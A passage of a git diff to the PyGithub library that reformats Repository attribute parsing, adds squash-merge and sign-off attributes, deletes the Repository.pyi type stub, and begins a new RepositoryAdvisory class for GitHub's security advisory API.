attributes["organization"]) if "owner" in attributes: # pragma no branch - self._owner = self._makeClassAttribute( - github.NamedUser.NamedUser, attributes["owner"] - ) + self._owner = self._makeClassAttribute(github.NamedUser.NamedUser, attributes["owner"]) if "parent" in attributes: # pragma no branch self._parent = self._makeClassAttribute(Repository, attributes["parent"]) if "permissions" in attributes: # pragma no branch - self._permissions = self._makeClassAttribute( - github.Permissions.Permissions, attributes["permissions"] - ) + self._permissions = self._makeClassAttribute(github.Permissions.Permissions, attributes["permissions"]) if "private" in attributes: # pragma no branch self._private = self._makeBoolAttribute(attributes["private"]) if "pulls_url" in attributes: # pragma no branch @@ -4159,37 +4351,30 @@ def _useAttributes(self, attributes): self._releases_url = self._makeStringAttribute(attributes["releases_url"]) if "security_and_analysis" in attributes: # pragma no branch self._security_and_analysis = self._makeClassAttribute( - github.SecurityAndAnalysis.SecurityAndAnalysis, - attributes["security_and_analysis"], + github.SecurityAndAnalysis.SecurityAndAnalysis, attributes["security_and_analysis"] ) if "size" in attributes: # pragma no branch self._size = self._makeIntAttribute(attributes["size"]) if "source" in attributes: # pragma no branch self._source = self._makeClassAttribute(Repository, attributes["source"]) + if "squash_merge_commit_message" in attributes: # pragma no branch + self._squash_merge_commit_message = self._makeStringAttribute(attributes["squash_merge_commit_message"]) + if "squash_merge_commit_title" in attributes: # pragma no branch + self._squash_merge_commit_title = self._makeStringAttribute(attributes["squash_merge_commit_title"]) if "ssh_url" in attributes: # pragma no branch self._ssh_url = self._makeStringAttribute(attributes["ssh_url"]) if "stargazers_count" in attributes: # pragma no branch - self._stargazers_count = self._makeIntAttribute( - attributes["stargazers_count"] - ) + self._stargazers_count = self._makeIntAttribute(attributes["stargazers_count"]) if "stargazers_url" in attributes: # pragma no branch - self._stargazers_url = self._makeStringAttribute( - attributes["stargazers_url"] - ) + self._stargazers_url = self._makeStringAttribute(attributes["stargazers_url"]) if "statuses_url" in attributes: # pragma no branch self._statuses_url = self._makeStringAttribute(attributes["statuses_url"]) if "subscribers_url" in attributes: # pragma no branch - self._subscribers_url = self._makeStringAttribute( - attributes["subscribers_url"] - ) + self._subscribers_url = self._makeStringAttribute(attributes["subscribers_url"]) if "subscribers_count" in attributes: # pragma no branch - self._subscribers_count = self._makeIntAttribute( - attributes["subscribers_count"] - ) + self._subscribers_count = self._makeIntAttribute(attributes["subscribers_count"]) if "subscription_url" in attributes: # pragma no branch - self._subscription_url = self._makeStringAttribute( - attributes["subscription_url"] - ) + self._subscription_url = self._makeStringAttribute(attributes["subscription_url"]) if "svn_url" in attributes: # pragma no branch self._svn_url = self._makeStringAttribute(attributes["svn_url"]) if "tags_url" in attributes: # pragma no branch @@ -4204,9 +4389,13 @@ def _useAttributes(self, attributes): self._updated_at = self._makeDatetimeAttribute(attributes["updated_at"]) if "url" in attributes: # pragma no branch self._url = self._makeStringAttribute(attributes["url"]) + if "use_squash_pr_title_as_default" in attributes: # pragma no branch + self._use_squash_pr_title_as_default = self._makeBoolAttribute(attributes["use_squash_pr_title_as_default"]) if "visibility" in attributes: # pragma no branch self._visibility = self._makeStringAttribute(attributes["visibility"]) if "watchers" in attributes: # pragma no branch self._watchers = self._makeIntAttribute(attributes["watchers"]) if "watchers_count" in attributes: # pragma no branch self._watchers_count = self._makeIntAttribute(attributes["watchers_count"]) + if "web_commit_signoff_required" in attributes: # pragma no branch + self._web_commit_signoff_required = self._makeBoolAttribute(attributes["web_commit_signoff_required"]) diff --git a/github/Repository.pyi b/github/Repository.pyi deleted file mode 100644 index 05c9dd68e2..0000000000 --- a/github/Repository.pyi +++ /dev/null @@ -1,652 +0,0 @@ -from datetime import date, datetime -from typing import Any, Dict, List, Optional, Union, overload - -from github.Artifact import Artifact -from github.AuthenticatedUser import AuthenticatedUser -from github.Autolink import Autolink -from github.Branch import Branch -from github.CheckRun import CheckRun -from github.CheckSuite import CheckSuite -from github.Clones import Clones -from github.CodeScanAlert import CodeScanAlert -from github.CodeScanningAnalysis import CodeScanningAnalysis -from github.Commit import Commit -from github.CommitComment import CommitComment -from github.Comparison import Comparison -from github.ContentFile import ContentFile -from github.DependabotAlert import DependabotAlert -from github.Deployment import Deployment -from github.Download import Download -from github.Event import Event -from github.GitBlob import GitBlob -from github.GitCommit import GitCommit -from github.GitRef import GitRef -from github.GitRelease import GitRelease -from github.GitReleaseAsset import GitReleaseAsset -from github.GitTag import GitTag -from github.GitTree import GitTree -from github.GithubObject import CompletableGithubObject, _NotSetType -from github.Hook import Hook -from github.InputGitAuthor import InputGitAuthor -from github.InputGitTreeElement import InputGitTreeElement -from github.Invitation import Invitation -from github.Issue import Issue -from github.IssueComment import IssueComment -from github.IssueEvent import IssueEvent -from github.Job import Job -from github.Label import Label -from github.Milestone import Milestone -from github.NamedUser import NamedUser -from github.Notification import Notification -from github.Organization import Organization -from github.PaginatedList import PaginatedList -from github.Path import Path -from github.Permissions import Permissions -from github.Project import Project -from github.PublicKey import PublicKey -from github.PullRequest import PullRequest -from github.PullRequestComment import PullRequestComment -from github.Referrer import Referrer -from github.RepositoryKey import RepositoryKey -from github.RepositoryPreferences import RepositoryPreferences -from github.Secret import Secret -from github.SecurityAndAnalysis import SecurityAndAnalysis -from github.SecretScanningAlert import SecretScanningAlert -from github.SelfHostedActionsRunner import SelfHostedActionsRunner -from github.SelfHostedActionsRunnerRegistrationToken import ( - SelfHostedActionsRunnerRegistrationToken, -) -from github.SourceImport import SourceImport -from github.Stargazer import Stargazer -from github.StatsCodeFrequency import StatsCodeFrequency -from github.StatsCommitActivity import StatsCommitActivity -from github.StatsContributor import StatsContributor -from github.StatsParticipation import StatsParticipation -from github.StatsPunchCard import StatsPunchCard -from github.Tag import Tag -from github.Team import Team -from github.View import View -from github.Workflow import Workflow -from github.WorkflowRun import WorkflowRun - -class Repository(CompletableGithubObject): - def __repr__(self) -> str: ... - def _hub( - self, mode: str, event: str, callback: str, secret: Union[str, _NotSetType] - ) -> None: ... - @property - def _identity(self) -> str: ... - def _initAttributes(self) -> None: ... - def _legacy_convert_issue(self, attributes: Dict[str, Any]) -> Dict[str, Any]: ... - def _useAttributes(self, attributes: Dict[str, Any]) -> None: ... - @property - def allow_merge_commit(self) -> bool: ... - @property - def allow_rebase_merge(self) -> bool: ... - @property - def allow_squash_merge(self) -> bool: ... - @property - def archived(self) -> bool: ... - def add_to_collaborators( - self, - collaborator: Union[str, NamedUser], - permission: Union[str, _NotSetType] = ..., - ) -> None: ... - @property - def archive_url(self) -> str: ... - @property - def assignees_url(self) -> str: ... - @property - def blobs_url(self) -> str: ... - @property - def branches_url(self) -> str: ... - @property - def clone_url(self) -> str: ... - @property - def collaborators_url(self) -> str: ... - @property - def comments_url(self) -> str: ... - @property - def commits_url(self) -> str: ... - def compare(self, base: str, head: str) -> Comparison: ... - @property - def compare_url(self) -> str: ... - @property - def contents_url(self) -> str: ... - @property - def contributors_url(self) -> str: ... - def create_autolink(self, key_prefix: str, url_template: str) -> Autolink: ... - def create_check_run( - self, - name: str, - head_sha: str, - details_url: Union[_NotSetType, str] = ..., - external_id: Union[_NotSetType, str] = ..., - status: Union[_NotSetType, str] = ..., - started_at: Union[_NotSetType, datetime] = ..., - conclusion: Union[_NotSetType, str] = ..., - completed_at: Union[_NotSetType, datetime] = ..., - output: Union[ - _NotSetType, Dict[str, Union[str, List[Dict[str, Union[str, int]]]]] - ] = ..., - actions: Union[_NotSetType, List[Dict[str, str]]] = ..., - ) -> CheckRun: ... - def create_check_suite(self, head_sha: str) -> CheckSuite: ... - def create_deployment( - self, - ref: str, - task: Union[str, _NotSetType] = ..., - auto_merge: Union[bool, _NotSetType] = ..., - required_contexts: Union[List[str], _NotSetType] = ..., - payload: Union[Dict[str, Any], _NotSetType] = ..., - environment: Union[str, _NotSetType] = ..., - description: Union[str, _NotSetType] = ..., - transient_environment: Union[bool, _NotSetType] = ..., - production_environment: Union[bool, _NotSetType] = ..., - ) -> Deployment: ... - def create_file( - self, - path: str, - message: str, - content: str, - branch: Union[str, _NotSetType] = ..., - committer: Union[InputGitAuthor, _NotSetType] = ..., - author: Union[InputGitAuthor, _NotSetType] = ..., - ) -> Dict[str, Union[ContentFile, Commit]]: ... - def create_git_blob(self, content: str, encoding: str) -> GitBlob: ... - def create_git_commit( - self, - message: str, - tree: GitTree, - parents: List[GitCommit], - author: Union[InputGitAuthor, _NotSetType] = ..., - committer: Union[InputGitAuthor, _NotSetType] = ..., - ) -> GitCommit: ... - def create_git_ref(self, ref: str, sha: str) -> GitRef: ... - def create_git_release( - self, - tag: str, - name: str, - message: str, - draft: bool = ..., - prerelease: bool = ..., - target_commitish: Union[str, _NotSetType] = ..., - ) -> GitRelease: ... - def create_git_tag( - self, - tag: str, - message: str, - object: str, - type: str, - tagger: Union[InputGitAuthor, _NotSetType] = ..., - ) -> GitTag: ... - def create_git_tag_and_release( - self, - tag: str, - tag_message: str, - release_name: str, - release_message: str, - object: str, - type: str, - tagger: Union[InputGitAuthor, _NotSetType] = ..., - draft: bool = ..., - prerelease: bool = ..., - ) -> GitRelease: ... - def create_git_tree( - self, - tree: List[InputGitTreeElement], - base_tree: Union[GitTree, _NotSetType] = ..., - ) -> GitTree: ... - def create_hook( - self, - name: str, - config: Dict[str, str], - events: Union[_NotSetType, List[str]] = ..., - active: Union[bool, _NotSetType] = ..., - ) -> Hook: ... - def create_issue( - self, - title: str, - body: Union[str, _NotSetType] = ..., - assignee: Union[NamedUser, str, _NotSetType] = ..., - milestone: Union[Milestone, _NotSetType] = ..., - labels: Union[List[Label], _NotSetType, List[str]] = ..., - assignees: Union[_NotSetType, List[str], List[NamedUser]] = ..., - ) -> Issue: ... - def create_key( - self, title: str, key: str, read_only: bool = ... - ) -> RepositoryKey: ... - def create_label( - self, name: str, color: str, description: Union[str, _NotSetType] = ... - ) -> Label: ... - def create_milestone( - self, - title: str, - state: Union[str, _NotSetType] = ..., - description: Union[str, _NotSetType] = ..., - due_on: Union[date, _NotSetType] = ..., - ) -> Milestone: ... - def create_project( - self, name: str, body: Union[str, _NotSetType] = ... - ) -> Project: ... - @overload - def create_pull( - self, - title: str, - body: str, - base: str, - head: str, - maintainer_can_modify: Union[bool, _NotSetType] = _NotSetType(), - draft: bool = False, - issue: _NotSetType = _NotSetType(), - ) -> PullRequest: ... - @overload - def create_pull( - self, - title: _NotSetType, - body: _NotSetType, - base: str, - head: str, - maintainer_can_modify: _NotSetType, - issue: Issue, - ) -> PullRequest: ... - def create_repository_dispatch( - self, event_type: str, client_payload: Union[Dict[str, Any], _NotSetType] = ... - ) -> bool: ... - def create_secret(self, secret_name: str, unencrypted_value: str) -> bool: ... - def list_repository_secrets(self) -> PaginatedList[Secret]: ... - def delete_secret(self, secret_name: str) -> bool: ... - def create_source_import( - self, - vcs: str, - vcs_url: str, - vcs_username: Union[str, _NotSetType] = ..., - vcs_password: Union[str, _NotSetType] = ..., - ) -> SourceImport: ... - @property - def created_at(self) -> datetime: ... - @property - def default_branch(self) -> str: ... - def delete(self) -> None: ... - def delete_file( - self, - path: str, - message: str, - sha: str, - branch: Union[str, _NotSetType] = ..., - committer: Union[InputGitAuthor, _NotSetType] = ..., - author: Union[InputGitAuthor, _NotSetType] = ..., - ) -> Dict[str, Union[Commit, _NotSetType]]: ... - @property - def delete_branch_on_merge(self) -> bool: ... - @property - def deployments_url(self) -> str: ... - @property - def description(self) -> str: ... - def disable_automated_security_fixes(self) -> bool: ... - def disable_vulnerability_alert(self) -> bool: ... - @property - def downloads_url(self) -> str: ... - def edit( - self, - name: Optional[str] = ..., - description: Union[str, _NotSetType] = ..., - homepage: Union[str, _NotSetType] = ..., - private: Union[bool, _NotSetType] = ..., - has_issues: Union[bool, _NotSetType] = ..., - has_projects: Union[bool, _NotSetType] = ..., - has_wiki: Union[bool, _NotSetType] = ..., - has_downloads: Union[bool, _NotSetType] = ..., - default_branch: Union[str, _NotSetType] = ..., - allow_squash_merge: Union[bool, _NotSetType] = ..., - allow_merge_commit: Union[bool, _NotSetType] = ..., - allow_rebase_merge: Union[bool, _NotSetType] = ..., - delete_branch_on_merge: Union[bool, _NotSetType] = ..., - archived: Union[bool, _NotSetType] = ..., - ) -> None: ... - def enable_automated_security_fixes(self) -> bool: ... - def enable_vulnerability_alert(self) -> bool: ... - @property - def events_url(self) -> str: ... - @property - def fork(self) -> bool: ... - @property - def forks(self) -> int: ... - @property - def forks_count(self) -> int: ... - @property - def forks_url(self) -> str: ... - @property - def full_name(self) -> str: ... - def get_archive_link( - self, archive_format: str, ref: Union[str, _NotSetType] = ... - ) -> str: ... - def get_artifact(self) -> Artifact: ... - def get_artifacts(self) -> PaginatedList[Artifact]: ... - def get_assignees(self) -> PaginatedList[NamedUser]: ... - def get_autolinks(self) -> PaginatedList[Autolink]: ... - def get_branch(self, branch: str) -> Branch: ... - def rename_branch(self, branch: Union[str, Branch], new_name: str) -> bool: ... - def get_branches(self) -> PaginatedList[Branch]: ... - def get_check_run(self, check_run_id: int) -> CheckRun: ... - def get_check_suite(self, check_suite_id: int) -> CheckSuite: ... - def get_clones_traffic( - self, per: Union[str, _NotSetType] = ... - ) -> Dict[str, Union[int, List[Clones]]]: ... - def get_collaborator_permission( - self, collaborator: Union[str, NamedUser] - ) -> str: ... - def get_codescan_alerts( - self, ref: Union[str, _NotSetType] = ... - ) -> PaginatedList[CodeScanAlert]: ... - def get_code_scanning_analyses( - self, ref: Union[str, _NotSetType] = ... - ) -> PaginatedList[CodeScanningAnalysis]: ... - def get_collaborators( - self, affiliation: Union[str, _NotSetType] = ... - ) -> PaginatedList[NamedUser]: ... - def get_comment(self, id: int) -> CommitComment: ... - def get_comments(self) -> PaginatedList[CommitComment]: ... - def get_commit(self, sha: str) -> Commit: ... - def get_commits( - self, - sha: Union[str, _NotSetType] = ..., - path: Union[str, _NotSetType] = ..., - since: Union[_NotSetType, datetime] = ..., - until: Union[_NotSetType, datetime] = ..., - author: Union[AuthenticatedUser, NamedUser, str, _NotSetType] = ..., - ) -> PaginatedList[Commit]: ... - def get_contents( - self, path: str, ref: Union[str, _NotSetType] = ... - ) -> Union[List[ContentFile], ContentFile]: ... - def get_contributors( - self, anon: Union[str, _NotSetType] = ... - ) -> PaginatedList[NamedUser]: ... - def get_dependabot_alerts(self) -> PaginatedList[DependabotAlert]: ... - def get_deployment(self, id_: int) -> Deployment: ... - def get_deployments( - self, - sha: Union[str, _NotSetType] = ..., - ref: Union[str, _NotSetType] = ..., - task: Union[str, _NotSetType] = ..., - environment: Union[str, _NotSetType] = ..., - ) -> PaginatedList[Deployment]: ... - def get_dir_contents( - self, path: str, ref: Union[str, _NotSetType] = ... - ) -> List[ContentFile]: ... - def get_download(self, id: int) -> Download: ... - def get_downloads(self) -> PaginatedList[Download]: ... - def get_events(self) -> PaginatedList[Event]: ... - def get_forks(self) -> PaginatedList[Repository]: ... - def create_fork( - self, organization: Union[Organization, str, _NotSetType] = ... - ) -> Repository: ... - def get_git_blob(self, sha: str) -> GitBlob: ... - def get_git_commit(self, sha: str) -> GitCommit: ... - def get_git_matching_refs(self, ref: str) -> PaginatedList[GitRef]: ... - def get_git_ref(self, ref: str) -> GitRef: ... - def get_git_refs(self) -> PaginatedList[GitRef]: ... - def get_git_tag(self, sha: str) -> GitTag: ... - def get_git_tree( - self, sha: str, recursive: Union[bool, _NotSetType] = ... - ) -> GitTree: ... - def get_hook(self, id: int) -> Hook: ... - def get_hooks(self) -> PaginatedList[Hook]: ... - def get_issue(self, number: int) -> Issue: ... - def get_issues( - self, - milestone: Union[Milestone, str, _NotSetType] = ..., - state: Union[str, _NotSetType] = ..., - assignee: Union[NamedUser, str, _NotSetType] = ..., - mentioned: Union[_NotSetType, NamedUser] = ..., - labels: Union[List[str], List[Label], _NotSetType] = ..., - sort: Union[str, _NotSetType] = ..., - direction: Union[str, _NotSetType] = ..., - since: Union[_NotSetType, datetime] = ..., - creator: Union[NamedUser, _NotSetType] = ..., - ) -> PaginatedList[Issue]: ... - def get_issues_comments( - self, - sort: Union[str, _NotSetType] = ..., - direction: Union[str, _NotSetType] = ..., - since: Union[_NotSetType, datetime] = ..., - ) -> PaginatedList[IssueComment]: ... - def get_issues_event(self, id: int) -> IssueEvent: ... - def get_issues_events(self) -> PaginatedList[IssueEvent]: ... - def get_key(self, id: int) -> RepositoryKey: ... - def get_keys(self) -> PaginatedList[RepositoryKey]: ... - def get_label(self, name: str) -> Label: ... - def get_labels(self) -> PaginatedList[Label]: ... - def get_languages(self) -> Dict[str, int]: ... - def get_latest_release(self) -> GitRelease: ... - def get_license(self) -> ContentFile: ... - def get_milestone(self, number: int) -> Milestone: ... - def get_milestones( - self, - state: Union[str, _NotSetType] = ..., - sort: Union[str, _NotSetType] = ..., - direction: Union[str, _NotSetType] = ..., - ) -> PaginatedList[Milestone]: ... - def get_network_events(self) -> PaginatedList[Event]: ... - def get_notifications( - self, - all: Union[bool, _NotSetType] = ..., - participating: Union[bool, _NotSetType] = ..., - since: Union[datetime, _NotSetType] = ..., - before: Union[datetime, _NotSetType] = ..., - ) -> PaginatedList[Notification]: ... - def get_pending_invitations(self) -> PaginatedList[Invitation]: ... - def get_projects( - self, state: Union[str, _NotSetType] = ... - ) -> PaginatedList[Project]: ... - def get_public_key(self) -> PublicKey: ... - def get_pull(self, number: int) -> PullRequest: ... - def get_pulls( - self, - state: Union[str, _NotSetType] = ..., - sort: Union[str, _NotSetType] = ..., - direction: Union[str, _NotSetType] = ..., - base: Union[str, _NotSetType] = ..., - head: Union[str, _NotSetType] = ..., - ) -> PaginatedList[PullRequest]: ... - def get_pulls_comments( - self, - sort: Union[str, _NotSetType] = ..., - direction: Union[str, _NotSetType] = ..., - since: Union[_NotSetType, datetime] = ..., - ) -> PaginatedList[PullRequestComment]: ... - def get_pulls_review_comments( - self, - sort: Union[str, _NotSetType] = ..., - direction: Union[str, _NotSetType] = ..., - since: Union[_NotSetType, datetime] = ..., - ) -> PaginatedList[PullRequestComment]: ... - def get_readme(self, ref: Union[str, _NotSetType] = ...) -> ContentFile: ... - def get_release(self, id: Union[int, str]) -> GitRelease: ... - def get_release_asset(self, id: int) -> GitReleaseAsset: ... - def get_releases(self) -> PaginatedList[GitRelease]: ... - def get_secret_scanning_alerts(self) -> PaginatedList[SecretScanningAlert]: ... - def get_self_hosted_runner(self, runner_id: int) -> SelfHostedActionsRunner: ... - def get_self_hosted_action_runner_registration_token( - self, - ) -> SelfHostedActionsRunnerRegistrationToken: ... - def get_self_hosted_runners(self) -> PaginatedList[SelfHostedActionsRunner]: ... - def get_source_import(self) -> SourceImport: ... - def get_stargazers(self) -> PaginatedList[NamedUser]: ... - def get_stargazers_with_dates(self) -> PaginatedList[Stargazer]: ... - def get_stats_code_frequency(self) -> Optional[List[StatsCodeFrequency]]: ... - def get_stats_commit_activity(self) -> Optional[List[StatsCommitActivity]]: ... - def get_stats_contributors(self) -> Optional[List[StatsContributor]]: ... - def get_stats_participation(self) -> Optional[StatsParticipation]: ... - def get_stats_punch_card(self) -> Optional[StatsPunchCard]: ... - def get_subscribers(self) -> PaginatedList[NamedUser]: ... - def get_tags(self) -> PaginatedList[Tag]: ... - def get_teams(self) -> PaginatedList[Team]: ... - def get_top_paths(self) -> List[Path]: ... - def get_top_referrers(self) -> List[Referrer]: ... - def get_topics(self) -> List[str]: ... - def get_views_traffic( - self, per: Union[str, _NotSetType] = ... - ) -> Dict[str, Union[int, List[View]]]: ... - def get_vulnerability_alert(self) -> bool: ... - def get_watchers(self) -> PaginatedList[NamedUser]: ... - def get_workflow(self, id_or_name: Union[str, int]) -> Workflow: ... - def get_workflow_job(self, job_id: Union[str, int]) -> Job: ... - def get_workflows(self) -> PaginatedList[Workflow]: ... - def get_workflow_run(self, id_: int) -> WorkflowRun: ... - def get_workflow_runs( - self, - actor: Union[NamedUser, _NotSetType] = ..., - branch: Union[Branch, _NotSetType] = ..., - event: Union[str, _NotSetType] = ..., - status: Union[str, _NotSetType] = ..., - ) -> PaginatedList[WorkflowRun]: ... - def update_check_suites_preferences( - self, auto_trigger_checks: List[Dict[str, Union[bool, int]]] - ) -> RepositoryPreferences: ... - @property - def git_commits_url(self) -> str: ... - @property - def git_refs_url(self) -> str: ... - @property - def git_tags_url(self) -> str: ... - @property - def git_url(self) -> str: ... - @property - def has_downloads(self) -> bool: ... - def has_in_assignees(self, assignee: Union[str, NamedUser]) -> bool: ... - def has_in_collaborators(self, collaborator: Union[str, NamedUser]) -> bool: ... - @property - def has_issues(self) -> bool: ... - @property - def has_pages(self) -> bool: ... - @property - def has_projects(self) -> bool: ... - @property - def has_wiki(self) -> bool: ... - @property - def homepage(self) -> str: ... - @property - def hooks_url(self) -> str: ... - @property - def html_url(self) -> str: ... - @property - def id(self) -> int: ... - @property - def is_template(self) -> bool: ... - @property - def issue_comment_url(self) -> str: ... - @property - def issue_events_url(self) -> str: ... - @property - def issues_url(self) -> str: ... - @property - def keys_url(self) -> str: ... - @property - def labels_url(self) -> str: ... - @property - def language(self) -> str: ... - @property - def languages_url(self) -> str: ... - def legacy_search_issues(self, state: str, keyword: str) -> List[Issue]: ... - def mark_notifications_as_read(self, last_read_at: datetime = ...) -> None: ... - @property - def master_branch(self) -> Optional[str]: ... - def merge( - self, base: str, head: str, commit_message: Union[str, _NotSetType] = ... - ) -> Optional[Commit]: ... - @property - def merges_url(self) -> str: ... - @property - def milestones_url(self) -> str: ... - @property - def mirror_url(self) -> str: ... - @property - def name(self) -> str: ... - @property - def network_count(self) -> int: ... - @property - def notifications_url(self) -> str: ... - @property - def open_issues(self) -> int: ... - @property - def open_issues_count(self) -> int: ... - @property - def organization(self) -> Organization: ... - @property - def owner(self) -> NamedUser: ... - @property - def parent(self) -> Repository: ... - @property - def permissions(self) -> Permissions: ... - @property - def private(self) -> bool: ... - @property - def pulls_url(self) -> str: ... - @property - def pushed_at(self) -> datetime: ... - @property - def releases_url(self) -> str: ... - def remove_autolink(self, autolink: Union[Autolink, int]) -> bool: ... - def remove_from_collaborators( - self, collaborator: Union[str, NamedUser] - ) -> None: ... - def remove_self_hosted_runner( - self, runner: Union[SelfHostedActionsRunner, int] - ) -> bool: ... - def remove_invitation(self, invite_id: int) -> None: ... - def replace_topics(self, topics: List[str]) -> None: ... - @property - def security_and_analysis(self) -> SecurityAndAnalysis: ... - @property - def size(self) -> int: ... - @property - def source(self) -> Optional[Repository]: ... - @property - def ssh_url(self) -> str: ... - @property - def stargazers_count(self) -> int: ... - @property - def stargazers_url(self) -> str: ... - @property - def statuses_url(self) -> str: ... - def subscribe_to_hub( - self, event: str, callback: str, secret: Union[str, _NotSetType] = ... - ) -> None: ... - @property - def subscribers_count(self) -> int: ... - @property - def subscribers_url(self) -> str: ... - @property - def subscription_url(self) -> str: ... - @property - def svn_url(self) -> str: ... - @property - def tags_url(self) -> str: ... - @property - def teams_url(self) -> str: ... - @property - def topics(self) -> List[str]: ... - @property - def trees_url(self) -> str: ... - def unsubscribe_from_hub(self, event: str, callback: str) -> None: ... - def update_file( - self, - path: str, - message: str, - content: Union[bytes, str], - sha: str, - branch: Union[_NotSetType, str] = ..., - committer: Union[_NotSetType, InputGitAuthor] = ..., - author: Union[_NotSetType, InputGitAuthor] = ..., - ) -> Dict[str, Union[ContentFile, Commit]]: ... - @property - def updated_at(self) -> datetime: ... - @property - def url(self) -> str: ... - @property - def visibility(self) -> str: ... - @property - def watchers(self) -> int: ... - @property - def watchers_count(self) -> int: ... diff --git a/github/RepositoryAdvisory.py b/github/RepositoryAdvisory.py new file mode 100644 index 0000000000..da43c464f1 --- /dev/null +++ b/github/RepositoryAdvisory.py @@ -0,0 +1,354 @@ +############################ Copyrights and license ############################ +# # +# Copyright 2023 Enrico Minack # +# Copyright 2023 Jirka Borovec <6035284+Borda@users.noreply.github.com> # +# Copyright 2023 Jonathan Leitschuh # +# Copyright 2023 Joseph Henrich # +# Copyright 2023 Trim21 # +# Copyright 2024 Thomas Cooper # +# # +# This file is part of PyGithub. # +# http://pygithub.readthedocs.io/ # +# # +# PyGithub is free software: you can redistribute it and/or modify it under # +# the terms of the GNU Lesser General Public License as published by the Free # +# Software Foundation, either version 3 of the License, or (at your option) # +# any later version. # +# # +# PyGithub is distributed in the hope that it will be useful, but WITHOUT ANY # +# WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS # +# FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more # +# details. # +# # +# You should have received a copy of the GNU Lesser General Public License # +# along with PyGithub. If not, see . # +# # +################################################################################ + +from __future__ import annotations + +from datetime import datetime +from typing import TYPE_CHECKING, Any, Iterable + +import github.AdvisoryVulnerability +import github.NamedUser +from github.AdvisoryBase import AdvisoryBase +from github.AdvisoryCredit import AdvisoryCredit, Credit +from github.AdvisoryCreditDetailed import AdvisoryCreditDetailed +from github.GithubObject import Attribute, NotSet, Opt + +if TYPE_CHECKING: + from github.AdvisoryVulnerability import AdvisoryVulnerability, AdvisoryVulnerabilityInput + from github.NamedUser import NamedUser + + +class RepositoryAdvisory(AdvisoryBase): + """ + This class represents a RepositoryAdvisory. + The reference can be found here https://docs.github.com/en/rest/security-advisories/repository-advisories + """ + + def _initAttributes(self) -> None: + self._author: Attribute[NamedUser] = NotSet + self._closed_at: Attribute[datetime] = NotSet + self._created_at: Attribute[datetime] = NotSet + self._credits: Attribute[list[AdvisoryCredit]] = NotSet + self._credits_detailed: Attribute[list[AdvisoryCreditDetailed]] = NotSet + self._cwe_ids: Attribute[list[str]] = NotSet + self._state: Attribute[str] = NotSet + self._vulnerabilities: Attribute[list[AdvisoryVulnerability]] = NotSet + super()._initAttributes() + + @property + def author(self) -> NamedUser: + return self._author.value + + @property + def closed_at(self) -> datetime: + return self._closed_at.value + + @property + def created_at(self) -> datetime: + return self._created_at.value + + @property + def credits( + self, + ) -> list[AdvisoryCredit]: + return self._credits.value + + @property + def credits_detailed( + self, + ) -> list[AdvisoryCreditDetailed]: + return self._credits_detailed.value + + @property + def cwe_ids(self) -> list[str]: + return self._cwe_ids.value + + @property + def state(self) -> str: + return self._state.value + + @property + def vulnerabilities(self) -> list[AdvisoryVulnerability]: + return self._vulnerabilities.value + + def add_vulnerability( + self, + ecosystem: str, + package_name: str | None = None, + vulnerable_version_range: str | None = None, + patched_versions: str | None = None, + vulnerable_functions: list[str] | None = None, + ) -> None: + """ + :calls: `PATCH /repos/{owner}/{repo}/security-advisories/:advisory_id `\ + """ + return self.add_vulnerabilities( + [ + { + "package": { + "ecosystem": ecosystem, + "name": package_name, + }, + "vulnerable_version_range": vulnerable_version_range, + "patched_versions": patched_versions, + "vulnerable_functions": vulnerable_functions, + } + ] + ) + + def add_vulnerabilities(self, vulnerabilities: Iterable[AdvisoryVulnerabilityInput]) -> None: + """ + :calls: `PATCH /repos/{owner}/{repo}/security-advisories/:advisory_id ` + """ + assert isinstance(vulnerabilities, Iterable), vulnerabilities + for vulnerability in vulnerabilities: + github.AdvisoryVulnerability.AdvisoryVulnerability._validate_vulnerability(vulnerability) + + post_parameters = { + "vulnerabilities": [ + github.AdvisoryVulnerability.AdvisoryVulnerability._to_github_dict(vulnerability) + for vulnerability in (self.vulnerabilities + list(vulnerabilities)) + ] + } + headers, data = self._requester.requestJsonAndCheck( + "PATCH", + self.url, + input=post_parameters, + ) + self._useAttributes(data) + + def offer_credit( + self, + login_or_user: str | github.NamedUser.NamedUser, + credit_type: str, + ) -> None: + """ + Offers credit to a user for a vulnerability in a repository. + Unless you are giving credit to yourself, the user having credit offered will need to explicitly accept the credit. + :calls: `PATCH /repos/{owner}/{repo}/security-advisories/:advisory_id ` + """ + self.offer_credits([{"login": login_or_user, "type": credit_type}]) + + def offer_credits( + self, + credited: Iterable[Credit], + ) -> None: + """ + Offers credit to a list of users for a vulnerability in a repository. + Unless you are giving credit to yourself, the user having credit offered will need to explicitly accept the credit. + :calls: `PATCH /repos/{owner}/{repo}/security-advisories/:advisory_id ` + :param credited: iterable of dict with keys "login" and "type" + """ + assert isinstance(credited, Iterable), credited + for credit in credited: + AdvisoryCredit._validate_credit(credit) + + patch_parameters = { + "credits": [AdvisoryCredit._to_github_dict(credit) for credit in (self.credits + list(credited))] + } + headers, data = self._requester.requestJsonAndCheck( + "PATCH", + self.url, + input=patch_parameters, + ) + self._useAttributes(data) + + def revoke_credit(self, login_or_user: str | github.NamedUser.NamedUser) -> None: + """ + :calls: `PATCH /repos/{owner}/{repo}/security-advisories/:advisory_id `_ + """ + assert isinstance(login_or_user, (str, github.NamedUser.NamedUser)), login_or_user + if isinstance(login_or_user, github.NamedUser.NamedUser): + login_or_user = login_or_user.login + patch_parameters = { + "credits": [ + dict(login=credit.login, type=credit.type) for credit in self.credits if credit.login != login_or_user + ] + } + headers, data = self._requester.requestJsonAndCheck( + "PATCH", + self.url, + input=patch_parameters, + ) + self._useAttributes(data) + + def clear_credits(self) -> None: + """ + :calls: `PATCH /repos/{owner}/{repo}/security-advisories/:advisory_id `_ + """ + patch_parameters: dict[str, Any] = {"credits": []} + headers, data = self._requester.requestJsonAndCheck( + "PATCH", + self.url, + input=patch_parameters, + ) + self._useAttributes(data) + + def edit( + self, + summary: Opt[str] = NotSet, + description: Opt[str] = NotSet, + severity_or_cvss_vector_string: Opt[str] = NotSet, + cve_id: Opt[str] = NotSet, + vulnerabilities: Opt[Iterable[AdvisoryVulnerabilityInput]] = NotSet, + cwe_ids: Opt[Iterable[str]] = NotSet, + credits: Opt[Iterable[Credit]] = NotSet, + state: Opt[str] = NotSet, + ) -> RepositoryAdvisory: + """ + :calls: `PATCH /repos/{owner}/{repo}/security-advisories/:advisory_id `_ + """ + assert summary is NotSet or isinstance(summary, str), summary + assert description is NotSet or isinstance(description, str), description + assert severity_or_cvss_vector_string is NotSet or isinstance( + 